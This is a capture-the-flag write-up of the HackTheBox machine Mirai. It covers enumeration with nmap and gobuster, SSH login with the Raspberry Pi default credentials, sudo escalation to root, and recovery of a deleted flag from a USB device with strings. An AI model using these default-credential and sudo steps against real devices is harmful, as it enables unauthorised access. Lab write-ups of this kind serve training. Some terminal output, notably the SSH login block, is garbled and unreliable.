
# [HackTheBox] Mirai

**Date**: 12/Nov/2019

 ${\bf Categories:\ oscp,\ htb,\ linux}$ 

Tags: exploit\_defaultcreds, privesc\_sudoers

InfoCard:



# Overview

This is a writeup for HackTheBox VM Mirai. Here's an overview of the enumeration  $\rightarrow$  exploitation  $\rightarrow$  privilege escalation process:

#### Killchain




Figure 1: writeup.overview.killchain

### TTPs

1. 22/tcp/ssh/OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0): exploit\_defaultcreds, privesc\_sudoers

## Phase #1: Enumeration

1. Here's the Nmap scan result:

```
# Nmap 7.70 scan initiated Tue Nov 12 15:49:18 2019 as: nmap -vv --reason -Pn -sV -sC
       → --version-all -oN
       - /root/toolbox/writeups/htb.mirai/results/10.10.10.48/scans/_quick_tcp_nmap.txt -oX
       /root/toolbox/writeups/htb.mirai/results/10.10.10.48/scans/xml/_quick_tcp_nmap.xml
       Increasing send delay for 10.10.40 from 0 to 5 due to 275 out of 915 dropped probes since
       → last increase.
     Nmap scan report for 10.10.10.48
     Host is up, received user-set (0.060s latency).
     Scanned at 2019-11-12 15:49:19 PST for 27s
    Not shown: 997 closed ports
     Reason: 997 resets
     PORT
              STATE SERVICE REASON
                                                                  VERSION
                                         syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
     22/tcp open ssh
     ssh-hostkey:
10
             1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
      ssh-dss AAAAB3NzaC1kc3MAAACBAJpzaaGcmwdVrkG//
12

4 X5kr6m9em2hEu3SianCnerFwTGHgUHrRpR6iocVhd8gN21TPNTwFF47q8nUitupMBnvImwAs8NcjLVclPSdFJSWwTxbaBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTgHgWTxbaBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTgHgWTxbaBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTgHgWTxbaBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTgHgWTxbaBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr6m9em2hEu3SianCnerFwTybraBiXOqyjV5B

4 X5kr
           +s2N8I9neI2coRBtZDUwUiF/1gUAZIimeKOj2x39kcBpcpM6ZAAAAFQDwL9La/
           FPu1rEutE8yfdIgxTDDNQAAAIBJbfYW/IeOFHPiKBzHWiM8JTjhPCcvjIkNjKMMdS6uo00/JQH4VUUTscc/
       LTvYmQeLAyc7GYQ/AcLgoYFHm8hDgFVN2D4BQ7yGQT9dU4GA0p4/H1wHPK1AiBuDQMsyEk2s2J+60Rt+
       → hUKCZfnxPOoD91+
       4 VEWfZQYCTOBi3gOAotgAAAIBd6OWkakYL2e1321g6Z02202PIq9zvAx3tfViuU9CGStiIW4eH4qrhSMiUKrhbNeCzvdcw6pRWK41

→ +vDiQrhV12/

→ w6JSowf9KHxvoprAGiEg7GjyvidBr9Mzv1Waj1U9BQ00Nc7poV2UzyMwLYLqzdjBJT28WUs3qYTxanaUrV9g==
            2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
      ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpSoRAKB+cPR8bChDdajCIpf4p1zHfZyu2xnIkqRAgm6Dws2zcy+
       VAZriPDRUrht10GfsBLZtp/1PZpkUd2b1PKvN2YIg4SDtpvTrdwAM2uCgUrZdKRoFa+nd8REgkTg8JRYkSGQ/
       4 RxBZzb06JZhRSvLABFve3rEPVdwTf4mzzNuryV4DNctrAojjP4Sq7Msc24poQRG9AkeyS1h4zrZMbB0DQaKoyY3pss5FWJ
       +qa83XNsqjnKlKhSbjH17pBFhlfo/6bGkIE68vS5CQi9Phygke6/a39EP2pJp6WzT5KI3Yosex3Br85kbh/

→ J8CVf4EDIRs5qismW+AZLeJUJHrj

            256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
15
      ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC189gWp+rA+
       4 2SLZzt3r7x+9sXF0Cy9g3C9Yk1S21hT/V0mlqYys1fbAvqwoVvkpRvHRzbd5CxVi0Vih0TeW/bM=
             256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
17
      ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAILvYtCvO/UREAhODuSsm7liSb9SZ8gLoZtn7P46SIDZL
18
      53/tcp open domain syn-ack ttl 63 dnsmasq 2.76
19
      dns-nsid:
20
      | bind.version: dnsmasq-2.76
21
     80/tcp open http
                                         syn-ack ttl 63 lighttpd 1.4.35
22
     http-methods:
23
      |_ Supported Methods: OPTIONS GET HEAD POST
      http-server-header: lighttpd/1.4.35
25
     |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
     Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
27
     Read data files from: /usr/bin/../share/nmap
29
     Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
     # Nmap done at Tue Nov 12 15:49:46 2019 -- 1 IP address (1 host up) scanned in 27.40 seconds
31
```

2. From the HTTP response headers, we find that the HTTP service is running the PiHole project:

```
| http-headers:

| X-Pi-hole: A black hole for Internet advertisements.

| Content-type: text/html; charset=UTF-8

| Content-Length: 0

| Connection: close

| Date: Tue, 12 Nov 2019 23:50:08 GMT

| Server: lighttpd/1.4.35

|

| (Request type: GET)
```

Figure 2: writeup.enumeration.steps.2.1

3. We also find an  ${\tt admin}$  directory from the  ${\tt gobuster}$  scan:

```
http://10.10.10.48:80/admin (Status: 301)
http://10.10.10.48:80/swfobject.js (Status: 200) [Size: 61]
```

Figure 3: writeup.enumeration.steps.3.1

4. Upon visiting the http://10.10.10.48/admin/ page, we get the default PiHole dashboard:




Figure 4: writeup.enumeration.steps.4.1

#### **Findings**

#### **Open Ports**

```
22/tcp | ssh | OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp | domain | dnsmasq 2.76
```

```
3 80/tcp | http | lighttpd 1.4.35

4 123/udp | ntp | NTP v4 (unsynchronized)

5 1323/tcp | upnp | Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

6 32400/tcp | http | Plex Media Server httpd

7 32469/tcp | upnp | Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
```

# Files

http://10.10.10.48/admin/

# Users

ssh: pi

## Phase #2: Exploitation

1. We take hint from the name of this VM, Mirai, referring to the botnet that targeted Internet systems configured with default credentials. Since the target system is running PiHole and by default such systems have a user pi with password raspberry, using this combination gives us interactive access:

```
Provided.i. -/toolbox/data/writemps/thb miral f ssh pid10.10.10.40 40

Re autherLity of host 100.80.10.80 40 (10.10.10.40) 40 10.10.10.80 40 (10.10.10.40) 40 10.10.80 40 (10.10.10.80) 40 10.10.80 40 (10.10.10.80) 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80 40 10.10.80
```

Figure 5: writeup.exploitation.steps.1.1

2. We then view contents of the user.txt file:

```
pi@raspberrypi:~ $ cat Desktop/user.txt
ff837707441b257a20e32199d7c8838dpi@raspberrypi:~ $
pi@raspberrypi:~ $
```

Figure 6: writeup.exploitation.steps.2.1

#### Phase #2.5: Post Exploitation

```
pi@raspberrypi> id
   uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44
    4 (video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)
   pi@raspberrypi>
   pi@raspberrypi> uname
   Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux
   pi@raspberrypi>
6
   pi@raspberrypi> ifconfig
   ethO Link encap:Ethernet HWaddr 00:50:56:b9:cc:ee
         inet addr:10.10.10.48 Bcast:10.10.10.255 Mask:255.255.255.0
9
         inet6 addr: fe80::94e9:d9aa:2889:bf0f/64 Scope:Link
10
         inet6 addr: dead:beef::e164:151a:f090:2d59/64 Scope:Global
11
         inet6 addr: fe80::250:56ff:feb9:ccee/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1
13
         RX packets:170849 errors:0 dropped:0 overruns:0 frame:0
         TX packets:159384 errors:0 dropped:0 overruns:0 carrier:0
15
```

```
collisions:0 txqueuelen:1000
RX bytes:17335718 (16.5 MiB) TX bytes:23597380 (22.5 MiB)
Interrupt:19 Base address:0x2000
pi@raspberrypi>
pi@raspberrypi> users
root
pi
```

#### Phase #3: Privilege Escalation

1. From the output of the id command and also confirming via sudo -1, we know that the user pi is a member of the sudo group. This means we can switch to root and gain elevated privileges:

```
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin
User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
pi@raspberrypi:~ $
```

Figure 7: writeup.privesc.steps.1.1

```
pi@raspberrypi:~ $ sudo su -
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
root@raspberrypi:~# id
uid=0(root) gid=0(root) groups=0(root)
root@raspberrypi:~#
root@raspberrypi:~# uname -a
Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux
root@raspberrypi:~#
root@raspberrypi:~# ifconfig
         Link encap:Ethernet HWaddr 00:50:56:b9:cc:ee
eth0
          inet addr:10.10.10.48 Bcast:10.10.10.255 Mask:255.255.255.0
          inet6 addr: fe80::94e9:d9aa:2889:bf0f/64 Scope:Link
          inet6 addr: dead:beef::e164:151a:f090:2d59/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:ccee/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:218199 errors:0 dropped:0 overruns:0 frame:0
          TX packets:195933 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:24159054 (23.0 MiB) TX bytes:42925449 (40.9 MiB)
          Interrupt:19 Base address:0x2000
lo
         Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:20957 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20957 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:3433707 (3.2 MiB) TX bytes:3433707 (3.2 MiB)
root@raspberrypi:~#
```

Figure 8: writeup.privesc.steps.1.2

2. When trying to vie wthe contents of the root.txt file, we see that the original file has been deleted and a backup exists on the USB drive. We use the df -lh command to find the absolute path for mounted USB drive, find a file in it but it too didn't give us the flag. The original file seems to be deleted from the USB stick which means we need to use some quick forensics to obtain the deleted file:

```
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:~#
root@raspberrypi:~#
root@raspberrypi:~# df -lh
                      Used Avail Use% Mounted on
Filesystem
                Size
aufs
                8.5G
                      2.8G
                           5.3G 34% /
tmpfs
                100M
                      4.8M
                             96M
                                    5% /run
/dev/sda1
                1.3G
                      1.3G
                               0 100% /lib/live/mount/persistence/sdal
/dev/loop0
                1.3G
                      1.3G
                               0 100% /lib/live/mount/rootfs/filesystem.squashfs
                                   0% /lib/live/mount/overlay
tmpfs
                250M
                         0
                            250M
/dev/sda2
                8.5G
                      2.8G
                            5.3G
                                  34% /lib/live/mount/persistence/sda2
devtmpfs
                 10M
                         0
                             10M
                                   0% /dev
                                   1% /dev/shm
tmpfs
                250M
                      8.0K
                            250M
tmpfs
                5.0M
                      4.0K
                            5.0M
                                   1% /run/lock
tmpfs
                250M
                            250M
                                   0% /sys/fs/cgroup
                         0
tmpfs
                            250M
                250M
                      8.0K
                                   1% /tmp
/dev/sdb
                       93K
                            7.9M
                                   2% /media/usbstick
                8.7M
tmpfs
                 50M
                         0
                             50M
                                   0% /run/user/999
tmpfs
                 50M
                         0
                             50M
                                   0% /run/user/1000
root@raspberrypi:~#
root@raspberrypi:~#
root@raspberrypi:~# ls -la /media/usbstick/
total 18
drwxr-xr-x 3 root root 1024 Aug 14
                                      2017 .
drwxr-xr-x 3 root root
                                     2017 ...
                        4096 Aug 14
-rw-r--r-- 1 root root
                                     2017 damnit.txt
                         129 Aug 14
drwx----- 2 root root 12288 Aug 14
                                     2017 lost+found
root@raspberrypi:~#
root@raspberrypi:~#
root@raspberrypi:~# cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
root@raspberrypi:~#
```

Figure 9: writeup.privesc.steps.2.1

3. We try to extract strings from the mounted device file /dev/sdb and find the contents of the original root.txt file:

```
root@raspberrypi:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
root@raspberrypi:~#
```

Figure 10: writeup.privesc.steps.3.1

# Loot

#### Hashes

```
pi:$6$SQPHFoql$gSE5qWbZRGHDin4LnFY56sMnQsmvH/o2oI1Xv.3KcqVsJCYgJ09R9/

Pws88e8yjKgJnaxN3zdq8f5ots1b......
```

#### Credentials

```
ssh: pi/raspbe...
```

# Flags

# References

- $[+]\ https://www.hackthebox.eu/home/machines/profile/64$
- [+] https://www.youtube.com/watch?v=SRmvRGUuuno